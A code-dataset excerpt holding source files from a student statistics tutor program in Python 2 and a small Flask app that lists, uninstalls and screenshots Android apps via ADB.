sample.printHistogram()\n\n #report summary statistics\n Prof.report(Prof.REPORT_AVERAGE,\n [sample.measurementName, sample.xbar, None, None])\n\n sd = sample.s if sample.sigma == None else sample.sigma\n Prof.report(Prof.REPORT_DEVIATION,\n [sd, sample.xbar, sample.measurementName, None])\n\n if(sample.numbers != None):\n Prof.report(Prof.REPORT_MEDIAN_AND_RANGE,\n [sample.median, sample.iqr[0], sample.iqr[1],\n sample.measurementName])\n\n concludeHypothesis(sample)\n concludeAssumtions(sample)\n saveData(sample)\n Prof.speak(Prof.FACE_DONE, Prof.TEXT_END)\n\n\ndef concludeHypothesis(sample):\n cLevel = 95\n if(sample.confidenceInterval == Sample.Z_CLEVEL_99):\n cLevel = 99\n\n Prof.report(Prof.REPORT_INTERVAL,\n [sample.confidenceInterval[0], sample.confidenceInterval[1],\n cLevel, sample.measurementName])\n\n if sample.nullHyp > sample.confidenceInterval[1]:\n Prof.report(Prof.REPORT_HYP_ABOVE,\n [sample.nullHyp, sample.confidenceInterval[1],\n sample.measurementName, None],\n Prof.FACE_SORRY)\n\n elif sample.nullHyp < sample.confidenceInterval[0]:\n Prof.report(Prof.REPORT_HYP_BELOW,\n [sample.nullHyp, sample.confidenceInterval[0],\n sample.measurementName, None],\n Prof.FACE_SORRY)\n\n elif(sample.nullHyp >= sample.confidenceInterval[0] and\n sample.nullHyp <= sample.confidenceInterval[1]):\n Prof.report(Prof.REPORT_HYP_OK,\n [sample.confidenceInterval[0], sample.confidenceInterval[1],\n sample.nullHyp, sample.measurementName],\n Prof.FACE_DONE)\n\n\ndef concludeAssumtions(sample):\n if(not sample.isRandom):\n Prof.speak(Prof.FACE_SORRY, Prof.REPORT_NOT_RANDOM)\n if(not sample.isNormal):\n Prof.speak(Prof.FACE_SORRY, Prof.REPORT_NOT_NORMAL)\n if(not sample.isIndependant):\n Prof.speak(Prof.FACE_SORRY, Prof.REPORT_NOT_INDEPENDANT)\n if(sample.isRandom and sample.isNormal and sample.isIndependant):\n Prof.speak(Prof.FACE_DONE, Prof.REPORT_GOOD_TEST)\n\n\ndef saveData(samp):\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_SAVE)\n saveOrNot = helper.getString(\"Would you like to save? [yes/no]: \",\n Prof.FACE_INVALID_INPUT,\n [\"yes\", \"no\"])\n\n if saveOrNot == \"yes\":\n data = \"\"\n data += \"Report for {0}\\n\".format(samp.measurementName)\n if(samp.histogram != None):\n data += (\"Histogram of data, suspected ouliers marked with *\\n\\n\")\n for r in xrange(len(samp.histogram)):\n aRow = \"\"\n for col in samp.histogram[r]:\n aRow += col\n if r == samp.indexOfMean:\n aRow += \" <--average = \" + str(round(samp.xbar, 3))\n elif r == 0:\n aRow += \" <--min = \" + str(round(samp.min, 3))\n elif r == len(samp.histogram) - 1:\n aRow += \" <--max = \" + str(round(samp.max, 3))\n data += aRow + \"\\n\"\n data += \"\\n\\r\"\n data += \"Average {0} is {1}\\n\\n\".format(samp.measurementName,\n samp.xbar)\n\n sd = samp.s if samp.sigma == None else samp.sigma\n data += \"Sample standard deviation: {0}\\n\\n\".format(sd)\n data += \"Sample mean standard deviation: {0}\\n\\n\".format(\n samp.meanSD)\n if (samp.numbers != None):\n data += \"Sample median is {0}\\n\\n\".format(samp.median)\n data += \"25th percentile: {0}\\n\\n\".format(samp.iqr[0])\n data += \"75th percentile: {0}\\n\\n\".format(samp.iqr[1])\n data += \"IQR: {0}\\n\\n\".format(samp.iqr[1] - samp.iqr[0])\n\n data += \"Hypothesized mean: {0}\\n\\n\".format(samp.nullHyp)\n\n cLevel = 95\n if(samp.confidenceInterval == Sample.Z_CLEVEL_99):\n cLevel = 99\n data += (\"Confidence Interval of confidence level {0}: \" +\n \"({1}, {2})\\n\\n\").format(cLevel,\n samp.confidenceInterval[0],\n samp.confidenceInterval[1])\n data += \"Sample random: {0}\\n\\n\".format(samp.isRandom)\n data += \"Sample distribution normal: {0}\\n\\n\".format(samp.isNormal)\n data += \"Sampling independant: {0}\\n\\n\".format(samp.isIndependant)\n helper.saveFile(data)\n\nrun()\n" }, { "alpha_fraction": 0.46932271122932434, "alphanum_fraction": 0.5364826321601868, "avg_line_length": 37.700439453125, "blob_id": "4b88505d8846ec41b2e07af0ab9de450fc8e27c8", "content_id": "4fed0a2c4ca23d77791dde6e8aa96017db01a6ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8785, "license_type": "no_license", "max_line_length": 79, "num_lines": 227, "path": "/sample.py", "repo_name": "purelogiq/StatProfessorWeng", "src_encoding": "UTF-8", "text": "#------------------------------------------------------------------------------\n# Author: Israel Madueme ([email protected])\n# Created: 08/06/2012\n# Class: 15-112E Summer\n#\n# Sample class to calculate and store data of the sample.\n#------------------------------------------------------------------------------\nclass Sample:\n \"\"\"Class that performs and stores calculations for\n 1-quantitative sample mean distributions.\"\"\"\n\n Z_CLEVEL_95 = 2 #ESTIMATED Z SCORE\n Z_CLEVEL_99 = 3\n DEFAULT_BIN_NUM = 12\n\n def __init__(self, numbers, xbar, sigma, s, n,\n nullHyp, confidenceLevel,\n isRandom, isNormal, isIndependant, measurementName):\n \"\"\"Performs and stores calculations of the sample data upon creation.\n numbers: a list containing the quantitative sample data.\n xbar: the average value in the sample, use if the exact values of the\n sample data (numbers) is unavailable. Otherwise set to None.\n sigma: the POPULATION standard deviation, set to None if unknown.\n s: the SAMPLE standard deviation, set to None if unknown/not needed.\n Use sigma if known, otherwise use s. Can be automatically calculated\n if numbers was provided.\n n: the sample size. Always provide n.\n nullHyp: the mean value to test against.\n confidenceLevel: the confidence level of the constructed interval. Must\n be one of the Z_CLEVEL_?? constants in this class.\n isRandom: True or False if the sample was selected randomly.\n isNormal: True or False if the SAMPLE MEAN distribution is normal due\n to either the CLT or if the population distrubtion is normal.\n measurementName: A label for what the data actually measures (e.g. age)\n\n \"\"\"\n #Store arguments.\n self.numbers = numbers\n self.xbar = float(xbar) if xbar != None else None\n self.sigma = float(sigma) if sigma != None else None\n self.s = float(s) if s != None else None\n self.n = float(n)\n self.nullHyp = float(nullHyp)\n self.confidenceLevel = confidenceLevel\n self.isRandom = isRandom\n self.isNormal = isNormal #The mean of\n self.isIndependant = isIndependant\n self.measurementName = measurementName\n\n #Store default instance variables.\n self.meanSD = None\n self.median = None\n self.marginOfError = None\n self.iqr = None\n self.outliers = None\n self.min = None\n self.max = None\n self.range = None\n self.histogram = None\n self.confidenceInterval = None\n\n #Calculate data.\n self.calXBar()\n self.calSampleSD()\n self.calMeanSD()\n self.createConfidenceInterval()\n if self.numbers != None:\n self.numbers = sorted(self.numbers)\n self.cal5NumSum()\n self.calOutliers()\n self.createHistogram(Sample.DEFAULT_BIN_NUM)\n\n \tself.xbar = round(self.xbar, 3)\n if self.s != None:\n \t self.s = round(self.s, 3)\n self.meanSD = round(self.meanSD, 3)\n rCI0 = round(self.confidenceInterval[0], 3)\n rCI1 = round(self.confidenceInterval[1], 3)\n \tself.confidenceInterval = (rCI0, rCI1)\n\n\n def calXBar(self):\n \"\"\"Calculate xbar.\"\"\"\n if self.numbers == None or self.xbar != None:\n return\n self.xbar = sum(self.numbers) / self.n\n\n\n def calSampleSD(self):\n \"\"\"Calculates a the sample standard deviation if numbers was given.\"\"\"\n if self.numbers == None or self.s != None:\n self.s = 0\n return\n deviationsSquared = []\n for num in self.numbers:\n deviationsSquared.append((num - self.xbar) ** 2)\n try: self.s = (sum(deviationsSquared) / self.n - 1) ** 0.5\n except: self.s = 0\n\n\n def calMeanSD(self):\n \"\"\"Calculates the standard deviation or standard error of xbar.\"\"\"\n if self.sigma != None:\n try: self.meanSD = self.sigma / self.n ** 0.5\n except: pass\n elif self.s != None:\n try: self.meanSD = self.s / self.n ** 0.5\n except: pass\n\n\n def createConfidenceInterval(self):\n \"\"\"Creates a confidence interval of the population mean.\"\"\"\n self.marginOfError = self.confidenceLevel * self.meanSD\n lowEnd = self.xbar - self.marginOfError\n highEnd = self.xbar + self.marginOfError\n self.confidenceInterval = (lowEnd, highEnd)\n\n\n def cal5NumSum(self):\n \"\"\"Calculates the min, median, max and IQR of the data.\"\"\"\n self.min = self.numbers[0]\n self.median = self.numbers[int(self.n / 2)]\n self.max = self.numbers[-1]\n self.range = float(self.max - self.min)\n percentile25 = self.numbers[int(self.n / 4)]\n percentile75 = self.numbers[int(self.n / 4 * 3)]\n self.iqr = (percentile25, percentile75)\n\n\n def calOutliers(self):\n \"\"\"Marks outliers based on 1.8 * IQR.\"\"\"\n iqr = self.iqr[1] - self.iqr[0]\n lowBound = self.iqr[0] - 1.6 * iqr\n upBound = self.iqr[1] + 1.6 * iqr\n self.outliers = []\n for num in self.numbers:\n if num < lowBound or num > upBound:\n self.outliers.append(num)\n self.outliers = sorted(self.outliers)\n\n\n def createHistogram(self, numBins):\n \"\"\"Creates a text based histogram based on the data.\"\"\"\n #Calculate binWidth.\n binWidth = self.range / numBins\n binWidth = binWidth if binWidth > 0 else binWidth * -1\n sampleIndexStart = 0\n largestBinLenght = 0\n\n #Create horizontal histogram\n horzHistogram = []\n for binNum in xrange(1, numBins + 1):\n aBin = []\n for i in xrange(sampleIndexStart, int(self.n)):\n if (self.numbers[i] <= binNum * binWidth + self.min):\n if self.numbers[i] in self.outliers:\n aBin.append(\"*\")\n else:\n aBin.append(\"#\")\n sampleIndexStart += 1\n else:\n break\n horzHistogram.append(aBin)\n if len(aBin) > largestBinLenght:\n largestBinLenght = len(aBin)\n if(self.xbar >= binNum * binWidth + self.min):\n self.indexOfMean = binNum\n\n #Make histogram non-ragged\n nonRagged = []\n for row in horzHistogram:\n fullRow = []\n for i in xrange(largestBinLenght):\n try:\n fullRow.append(row[i])\n except:\n fullRow.append(\" \")\n nonRagged.append(fullRow)\n self.histogram = nonRagged\n\n\n def printHistogram(self):\n for r in xrange(len(self.histogram)):\n aRow = \"\"\n for col in self.histogram[r]:\n aRow += col\n if r == self.indexOfMean:\n aRow += \" <--average = \" + str(round(self.xbar, 3))\n elif r == 0:\n aRow += \" <--min = \" + str(round(self.min, 3))\n elif r == len(self.histogram) - 1:\n aRow += \" <--max = \" + str(round(self.max, 3))\n print aRow\n print\n\n\n\n##sampNumbers = [5.7,11.9,11.7,12.4,13.4,10.2,10.7,9.0,10.0,\n## 9.5,11.6,8.4,18.0,7.9,5.8,6.1,7.4,7.3,6.6,8.3,\n## 9.6,4.4,23.2,10.6,10.1,11.9,9.4,11.2,9.2,9.1,\n## 9.1,8.6,10.7,9.5,8.2,11.1,9.5,11.5,7.4,6.7,7.3,\n## 8.1,18.7,3.8,11.5,7.8,6.3,6.4,2.2,8.7,7.8,7.6,\n## 8.4,3.8,15.5,16.6,6.7,4.9,10.2,9.4,18.1,5.6,8.8,\n## 14.8,8.1,7.7,5.2,6.2,7.7,9.5,8.3,20.2,11.6,14.6,\n## 9.5,20.7,16.8,21.4,13.1,11.3,9.4,25.0,9.8,18.5,\n## 12.1,15.6,23.4,20.2,9.9,15.8,12.5,7.3,15.6,14.0,\n## 14.2,13.7,10.3]\n##\n##sampNumbers2 = [1000,1210,950,1078,1016,1125,1305,1310,950,975,\n## 1395,1065,970,1020,1090,1290,1200,1120,1045,1110,\n## 1310,1025,1060,1300,1269,979,1390,930,925,1192,890,\n## 1005,915,1015,1280,995,1315,1050,1040,1040,1150,\n## 1030,1000,1110,1220,885,1030,1057,1020,1010,\n## 970,1050,1110,1055,1115,1435,1040,930,1425,1120,1175,\n## 1230,1305,1140,1025,1060,995,1045,985,1075]\n##\n##sample = Sample(numbers = sampNumbers,\n## xbar = None,\n## sigma = None,\n## s = None,\n## n = len(sampNumbers),\n## nullHyp = 12,\n## confidenceLevel = Sample.Z_CLEVEL_95,\n## isRandom = True,\n## isNormal = True,\n## isIndependant = True,\n## measurementName = \"age\")\n" }, { "alpha_fraction": 0.5856285095214844, "alphanum_fraction": 0.5885276198387146, "avg_line_length": 28.44512176513672, "blob_id": "f44a1d2c6f8ab7c155fb2ac61664c7bb8fd4bfa4", "content_id": "85c647e3709b3b73f83e2412a48de05b2bab90d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4829, "license_type": "no_license", "max_line_length": 79, "num_lines": 164, "path": "/helper.py", "repo_name": "purelogiq/StatProfessorWeng", "src_encoding": "UTF-8", "text": "#------------------------------------------------------------------------------\n# Author: Israel Madueme ([email protected])\n# Created: 08/05/2012\n# Class: 15-112E Summer\n#\n# Helper io functions.\n#------------------------------------------------------------------------------\nclass InvalidInput(Exception): pass\nclass InvalidFileName(Exception): pass\nclass InvalidCSV(Exception): pass\nclass NumTooSmall(Exception): pass\nclass NumTooLarge(Exception): pass\n\n\ndef readInt(prompt, lowBound, upBound):\n \"\"\"Reads an integer between lowBound and upBound (inclusive) from input.\n Set lowBound or upBound (or both) to None to not bound in that direction.\n Returns the integer or raises an exception.\"\"\"\n anInt = raw_input(prompt)\n try:\n anInt = int(anInt)\n except:\n raise InvalidInput()\n if lowBound != None and anInt < lowBound:\n raise NumTooSmall()\n if upBound != None and anInt > upBound:\n raise NumTooLarge()\n return anInt\n\n\ndef readFloat(prompt, lowBound, upBound):\n \"\"\"Reads a float between lowBound and upBound (inclusive) from input.\n Set lowBound or upBound (or both) to None to not bound in that direction.\n Returns the float or raises an exception.\"\"\"\n aFloat = raw_input(prompt)\n try:\n aFloat = float(aFloat)\n except:\n raise InvalidInput()\n if lowBound != None and aFloat < lowBound:\n raise NumTooSmall()\n if upBound != None and aFloat > upBound:\n raise NumTooLarge()\n return aFloat\n\n\ndef readString(prompt, allowed):\n \"\"\"Return what is read by raw_input.\n Raises an InvalidInput Exception if allowed is not None and is a list of\n (lowercase) strings and what is inputed is not in that list.\"\"\"\n text = str(raw_input(prompt)) #str() for IDE code completion...\n if(allowed != None):\n text = text.lower()\n text = text.strip()\n if(text not in allowed):\n raise InvalidInput()\n return text #returns stripped, lowercase version\n return text\n\n\ndef getInt(prompt, errorMessage, lowBound, upBound):\n \"\"\"Ask for a valid int until one is given then return the int.\"\"\"\n error = \"\"\n value = None\n while value == None:\n try:\n value = readInt(error + prompt, lowBound, upBound)\n except:\n error = errorMessage\n return value\n\n\ndef getFloat(prompt, errorMessage, lowBound, upBound):\n \"\"\"Ask for a valid float until one is given then return the float.\"\"\"\n error = \"\"\n value = None\n while value == None:\n try:\n value = readFloat(error + prompt, lowBound, upBound)\n except:\n error = errorMessage\n return value\n\n\ndef getString(prompt, errorMessage, allowed):\n \"\"\"Ask for a valid string until one is given then return the string.\"\"\"\n error = \"\"\n value = None\n while value == None:\n try:\n value = readString(error + prompt, allowed)\n except:\n error = errorMessage\n return value\n\n\ndef loadNumericCSV(fileName):\n \"\"\"Loads a numeric CSV and returns the values as a list.\n Raises an exception if there is something wrong with the CSV.\n In this application, a CSV cannot contain any entries that aren't numbers.\n Values can be organized however (on a new line, or on the same line),\n aslong as they are seperated by commas.\n \"\"\"\n try:\n theFile = open(fileName)\n except:\n raise InvalidFileName()\n fileString = theFile.read()\n fileString = fileString.strip()\n values = fileString.split(\",\")\n values = removeEmptyItems(values)\n numValues = []\n for value in values:\n try:\n num = float(value)\n except:\n raise InvalidCSV(value)\n numValues.append(num)\n return numValues\n\n\ndef saveFile(data):\n filePath = False\n while filePath == False:\n try:\n filePath =\\\n\t\tgetString(\"Enter a file path (with the file name (.txt)): \",\n \"Invalid file path. \",\n None)\n except: pass\n\n aFile = open(filePath, \"w\")\n aFile.write(data)\n print\n\n\ndef readNumByLine():\n done = \"done\"\n message = \"Enter a number or '\"+done+\"': \"\n nums = []\n num = None\n while num != done:\n num = raw_input(message).strip()\n if num == done: break\n try:\n num = float(num)\n except:\n message = \"Invalid. Please enter a number or '\"+done+\"': \"\n continue\n nums.append(num)\n message = \"Enter a number or '\"+done+\"': \"\n if not len(nums) > 0:\n return readNumByLine()\n else:\n return nums\n\n\ndef removeEmptyItems(aList):\n \"\"\"Removes empty items from a list.\"\"\"\n notEmpty = []\n for item in aList:\n if not item == \"\":\n notEmpty.append(item)\n return notEmpty\n" }, { "alpha_fraction": 0.5785616636276245, "alphanum_fraction": 0.5847176313400269, "avg_line_length": 29.55223846435547, "blob_id": "64fe11d9992c0533a8ccee3562de6b873d4bd467", "content_id": "79619b80eb6a5368ea3f429bfa73a6bc72810149", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10234, "license_type": "no_license", "max_line_length": 80, "num_lines": 335, "path": "/prof.py", "repo_name": "purelogiq/StatProfessorWeng", "src_encoding": "UTF-8", "text": "#------------------------------------------------------------------------------\n# Author: Israel Madueme ([email protected])\n# Created: 08/05/2012\n# Class: 15-112E Summer\n#\n# Controls dialog for Professor Lawrance Weng.\n#------------------------------------------------------------------------------\nfrom threading import Timer\nimport helper\n\nclass Prof:\n \"\"\"Static class to control the AI dialog.\"\"\"\n\n @staticmethod\n def speak(face, text):\n speech = [face] + text.split(\" \")\n speech = helper.removeEmptyItems(speech)\n Prof.talk(speech)\n\n\n @staticmethod\n def talk(words):\n \"\"\"Helper function to print a list of words 1 at a time.\n Returns when all words have been printed.\n \"\"\"\n Prof.still_talking = True\n firstWordDelay = 0.3\n timer = Timer(firstWordDelay, Prof.say, args=[words])\n timer.start()\n while Prof.still_talking:\n pass\n\n\n @staticmethod\n def say(words):\n \"\"\"Prints the first word in the list words then recursivly prints the\n next words after speech_delay seconds.\n \"\"\"\n print words.pop(0),\n if len(words) > 0:\n timer = Timer(Prof.speech_delay, Prof.say, args=[words])\n timer.start()\n else:\n Prof.still_talking = False\n\n\n @staticmethod\n def report(text, values, face = \"normal\"):\n speech = text.format(values[0], values[1], values[2], values[3])\n if face == \"normal\": face = Prof.FACE_NORMAL\n Prof.speak(face, speech)\n\n\n\n #-------Class variables-------------\n speech_delay = 0.3\n still_talking = False\n\n\n #-------Faces----------------------\n FACE_NORMAL = \"[0]_[0]\"\n FACE_INVALID_INPUT = \"[>]_[>] \"\n FACE_HMM = \"[-]_[-]\"\n FACE_MHMM = \"[~]_[~]\"\n FACE_WOAH = \"[.]________[.]\"\n FACE_CANT_BE_RIGHT = \"[=]_[=]\"\n FACE_HOW_TO_DO = \"[ ']~[ ']\"\n FACE_OH = \"[O]o[O]\"\n FACE_AHA = \"[!]_[!]\"\n FACE_DONE = \"[^]_[^]\"\n FACE_SORRY = \"[>]_[<]\"\n\n\n #------Dialog----------------------\n TEXT_NORMFERENCE =\\\n \"\"\"NORM-FERENCE:\n STATISTICAL INFERENCE AND EXPLORATORY DATA ANAYLSIS\n OF ONE QUANTITATIVE SAMPLE MEAN NORMAL DISTRIBUTIONS . . .\n FOR NORMAL PEOPLE. . .\n\n \"\"\"\n\n TEXT_INTRO =\\\n \"\"\"Hello, my name is Professor Lawrance Weng . . . not to be\n confused with the professor of 36-201 (Intro Stat) at CMU\n Professor Lawrence Wang. Though our name and profession\n are similar, we are entirely seperate beings and have very\n little else in common, except, perhaps, our glasses.\n Regardless, I will help you conduct EDA of one quantitative\n sample mean data and a hypothesis test using confidence\n intervals, don't worry if you do not understand what that means\n I will explain everything. Ready?\n\n \"\"\"\n\n TEXT_OVERVIEW =\\\n \"\"\"Great! Here's the plan. We will analyze the 'sample' data\n by looking at a histogram of the values and some summary numbers,\n like averages and range. Then we will make a systematic guess\n about where the true 'population' average is. In order to do those\n things though, we'll need to get the data first. That's where you\n come in . . . are you ready to input the data?\n\n \"\"\"\n\n TEXT_DATA_OR_DIS =\\\n \"\"\"Do you have a list of the numbers from the sample or\n do you only have some summary numbers of the sample?\n\n \"\"\"\n\n TEXT_FILE_OR_MANUALLY =\\\n \"\"\"Do you have a file that has the values seperated by commas\n in any way? Or you want to enter the numbers here?\n\n \"\"\"\n\n TEXT_GET_XBAR =\\\n \"\"\"Since you do not have the list of numbers we won't be able to\n do extra things like create a histogram or calcalute the median. But\n we can still analyize the data and test our hypothesis. To do that\n you must know the average of the sample data (x-bar).\n\n \"\"\"\n\n TEXT_GET_N =\\\n \"\"\"Please enter the sample size (n). It is the number of\n measurments that were sampled.\n\n \"\"\"\n\n TEXT_GET_SIGMA =\\\n \"\"\"If you know the population standard deviation (the regular distance\n from the average of the population) then it will make our calculations\n much more accurate, if you don't it is ok, we can still estimate it.\n\n \"\"\"\n\n TEXT_GET_S =\\\n \"\"\"Since you do not know the population standard deviation and you\n didn't enter a list of numbers, you'll need to provided the sample\n standard deviation (the regular distance from the average\n of the sample).\n\n \"\"\"\n\n TEXT_GET_NULL =\\\n \"\"\"In order to conduct a hypothesis test, well need a . . . hypothesis.\n This is what we believe the mean in the population (not the sample!) is.\n Well will look at the sample and, through the magic of confidence\n intervals, we will test to see if your hypothesized population mean\n is likely given that we obtained a sample like what we did.\n\n \"\"\"\n\n TEXT_GET_CL =\\\n \"\"\"Before we create this \"confidence interval\" we will need to first\n decide how confident we want to be that our sampling method captures the\n population mean. Higher confidence though, comes with a wider interval.\n\n \"\"\"\n\n TEXT_GET_ISRANDOM=\\\n \"\"\"Now in order for the mathematics to work we need to know if the\n sample was collected randomly. This is to prevent bias in the data.\n If it wasn't we can still do the calculations, but we will not be\n able to generalize the results to the entire population.\n\n \"\"\"\n\n TEXT_GET_ISNORMAL =\\\n \"\"\"Again, for the mathematics to be valid, we'll need to know if the\n \"sample mean distribution\" is normal. Since the sample size is less\n than 30, the only way for this to now be true is for the population\n distribution itself to be normal. By normal, I mean that most values\n are near the mean and less are far from the mean, e.g. bell shaped.\n\n \"\"\"\n\n TEXT_GET_ISINDEPENDANT =\\\n \"\"\"The last thing we need to validate is whether or not the\n measurements in the sample were independant of each other. This is to\n ensure that the probability of sampling 1 value does not affect the\n probability of sampling another value. This condition can be met if\n the sample was collected with replacement (so there are the same things\n to sample each time) or if the population size is much bigger than\n the sample size (so sampling 1 thing doesn't really affect the\n probability of sampling another thing appreciably).\n\n \"\"\"\n\n TEXT_GET_LABEL =\\\n \"\"\"Now I just need you to tell me what the data is measureing. For\n example, is it measureing \"adult weight\" or \"salary of teachers\", etc.\n\n \"\"\"\n\n TEXT_CALCULATING =\\\n \"\"\"Ok! Now I'll calculate the statistics.\n\n \"\"\"\n\n TEXT_SAVE =\\\n \"\"\"You can scroll up to view the data again. You can also save it.\n\tDo you want to save the report?\n\n \"\"\"\n\n TEXT_END =\\\n \"\"\"Were done! I hope this has provided some useful insight!\n\n \"\"\"\n\n TEXT_HMMM =\\\n \"\"\"H m m m . . . .\n\n \"\"\"\n\n TEXT_MHMMM =\\\n \"\"\"M m m h m m m . . . .\n\n \"\"\"\n\n TEXT_WOAH =\\\n \"\"\"Woah.\n\n \"\"\"\n\n TEXT_CANT_BE_RIGHT =\\\n \"\"\"That can't be right.\n\n \"\"\"\n\n TEXT_HOW_TO_DO_THIS =\\\n \"\"\"How do I do this again? ?\n\n \"\"\"\n\n TEXT_OOO =\\\n \"\"\"O o o h h right . . . I have to . . .\n\n \"\"\"\n\n TEXT_AHA =\\\n \"\"\"AHA! ! !\n\n \"\"\"\n\n TEXT_DONE =\\\n \"\"\"Ok I'm done with my calculations here is my report!\n Report:\n\n\n \"\"\"\n\n REPORT_HISTOGRAM =\\\n \"\"\"Here is a histogram of the data, the min, average, and max are\n marked on the side. Any suspected outliers are marked with a *.\n\n\n \"\"\"\n\n REPORT_AVERAGE =\\\n \"\"\"The average {0} is {1}.\n\n \"\"\"\n\n REPORT_DEVIATION =\\\n \"\"\"About two-thirds of the measurements are within {0} from the\n average {1} of {2}.\n\n \"\"\"\n\n REPORT_MEDIAN_AND_RANGE =\\\n \"\"\"The median {3} (middle value) is {0}.\n The middle 50% of the sample {3} data is between {1} and {2}.\n\n \"\"\"\n\n REPORT_INTERVAL=\\\n \"\"\"I am {2}% confident that the average population {3} is\n in the interval from {0} to {1}.\n\n \"\"\"\n\n REPORT_HYP_ABOVE =\\\n \"\"\"Sorry! Your hypothesis {0} for the population\n average {2} was too high based on our interval.\n It is greater than {1}, the upper bound of the interval.\n Because of this, I would reject that hypothesis.\n\n \"\"\"\n\n REPORT_HYP_BELOW=\\\n \"\"\"Sorry! Your hypothesis {0} for the population\n average {2} was too low based on our interval.\n It is less than {1} the lower bound of the interval.\n Because of this, I would reject that hypothesis.\n\n \"\"\"\n\n REPORT_HYP_OK =\\\n \"\"\"Based on our interval, your hypothesis {2} for the population\n average {3} is valid. I have no reason to reject it because it\n is between {0} and {1}.\n\n \"\"\"\n\n REPORT_NOT_RANDOM =\\\n \"\"\"Unfortunately, since the sample was not random, you cannot\n generalize the results to the entire population. This is because the\n sample may contain bias due to the non-random selection. Sorry...\n\n \"\"\"\n\n REPORT_NOT_NORMAL =\\\n \"\"\"Unfortunately, since the population isn't normal and the sample size\n was less than 30, it is possible that these calculations were not very\n precise. Because of this, I recommend you only use these calculations\n as rough estimates, the correct confidence interval could be wider.\n\n \"\"\"\n\n REPORT_NOT_INDEPENDANT =\\\n \"\"\"Unfortunately, since the measurments in the sample were not\n collected independantly, I cannot gaureentee that our mathematics\n will represent the true population. Reconsider your sampling method\n before making any conclusions.\n\n \"\"\"\n\n REPORT_GOOD_TEST =\\\n \"\"\"Nice! All the assumtions for a good experiment were met!\n\n \"\"\"" } ]
5
5p4r70n/Android-ADB
https://github.com/5p4r70n/Android-ADB
4fa80cc4a037fb0a95f882379c87c9c77dbf6b2e
6355a26b2ddb62d0a28d94f7717bfbc990c2ab7a
c28bada99718a7b6a15622a2498678dd0dac5995
refs/heads/master
2023-02-08T08:53:18.049295
2020-12-26T12:17:18
2020-12-26T12:17:18
297,601,475
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.3567151427268982, "alphanum_fraction": 0.3644140362739563, "avg_line_length": 32.42856979370117, "blob_id": "4403eab705dd4e14348c3563be36b0551a6166f1", "content_id": "76ea441cb84593a3275051327ed12f62d6084597", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1169, "license_type": "no_license", "max_line_length": 100, "num_lines": 35, "path": "/templates/Listall.html", "repo_name": "5p4r70n/Android-ADB", "src_encoding": "UTF-8", "text": "{%extends \"layout.html\"%}\n{%block content%}\n<div class=\"coantainer-fluid\">\n <div class=\"row\">\n <div class=\"col-m-4\"></div>\n <div class=\"col-m-6\" style=\"width:43%;align-content: center;margin-left: 27%;\">\n <table class=\"table\">\n <form action=\"/remove\" method=\"POST\">\n <center><h1>{{head}} Apps</h1></center>\n <thead>\n <tr>\n <th>Package Name,{{len}}nos</th>\n <th>check to remove</th>\n </tr>\n </thead>\n {%for i in list1%}\n <tr>\n <td><a href=\"https://duckduckgo.com/?q={{i}}\" target=\"_blank\">{{i}}</a></td>\n <td><input type=\"checkbox\" name=\"check\" value=\"{{i}}\"></td>\n </tr>\n {% endfor%}\n <tfoot>\n <tr>\n <th>\n <button type=\"submit\">Remove apps</button>\n </th>\n </tr>\n </tfoot>\n </form>\n </table>\n </div>\n </div>\n\n</div>\n{% endblock%}" }, { "alpha_fraction": 0.5951187014579773, "alphanum_fraction": 0.6031427383422852, "avg_line_length": 39.41891860961914, "blob_id": "84a550b550546b04c5881c00f54abeeafb6d9578", "content_id": "985af4965c476381f20ff03987a333d008f51a4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2991, "license_type": "no_license", "max_line_length": 234, "num_lines": 74, "path": "/App_remover.py", "repo_name": "5p4r70n/Android-ADB", "src_encoding": "UTF-8", "text": "from flask import Flask,render_template,request,url_for #import flask library\nfrom ppadb.client import Client # os for communicating to device\nimport os\nimport time\n\nadb = Client(host=\"127.0.0.1\",port=5037)\napp=Flask(__name__) #name to app obj\ndevices = adb.devices()\ndevice=devices[0]\ndir = os.getcwd() # get present working Directry # get current time\n\[email protected](\"/\" , methods=['POST','GET']) #first line / represents the route dir \ndef home(): #definiton of \"/\" is home its is mandetery in this code \n if request.method =='POST':\n devices = adb.devices() \n if len(devices) != 0:\n return render_template (\"ModuleList.html\",screen= screen_size() )\n else:\n return ('device not connected try again <a href=\"/\">home</a> ')\n else:\n return render_template (\"home.html\") #content of that page...\n\[email protected](\"/listAll\" ,methods=['POST','GET'] )\ndef listAll():\n\n if request.method=='POST':\n return render_template(\"Listall.html\",list1=appList()[0],len=len(appList()[0]),head=appList()[1])\n\n else:\n return render_template (\"ModuleList.html\")\n\n\n\[email protected](\"/remove\",methods=['POST','GET'])\ndef remove():\n rm=request.form.getlist('check') #checked apps will come here\n for i in rm:\n device.shell('pm uninstall --user 0 '+str(i)) #this will uninstall apps\n return (\"these items Uninstalled GO <a href='/listAll'>back</a> Or GO <a href='/'>Home</a>\")\n\n\n\[email protected](\"/screenCap\",methods=['POST','GET'])\ndef screenCap():\n ts = time.strftime(\"%Y%m%d%H%M%S\")\n device.shell(\"screencap /sdcard/screenshot.png\")\n device.pull(\"/sdcard/screenshot.png\", str(dir)+\"/static/\"+str(ts)+\".png\")\n return render_template (\"Image.html\",ts=ts) \n\n\n\n\ndef appList():\n x=request.form['appType'] # app filter comes here\n print(x) #debugging\n cmd={\"all\" : \"pm list packages\",\"user\" : \"pm list packages -3\",\"system\":\"pm list packages -s\",\"disabled\":\"pm list packages -d\",\"enabled\":\"pm list packages -e\"} #hard coded commands each one selected via appType coming from request\n list = (device.shell(cmd[x])).split() #packages are coming mixed with each other \n list1=[] #for saving splited packages \n for i in range(0,len(list)):\n list[i]=list[i].split(':') #this will split with : for removing \"package:\" from name\n list1.append(list[i][1]) # added to list array\n # print(list1)\n return list1,x \n\n\n\ndef screen_size(): #function for get screen size of the device\n size=device.shell('wm size')\n density =device.shell('wm density')\n return size,density\n\n\nif __name__ == \"__main__\":#check wether the ___name__ == __main__ conforming only devoloper can debug the code... if this command is not here anyone can access and debug the code..\n app.run() " }, { "alpha_fraction": 0.749576985836029, 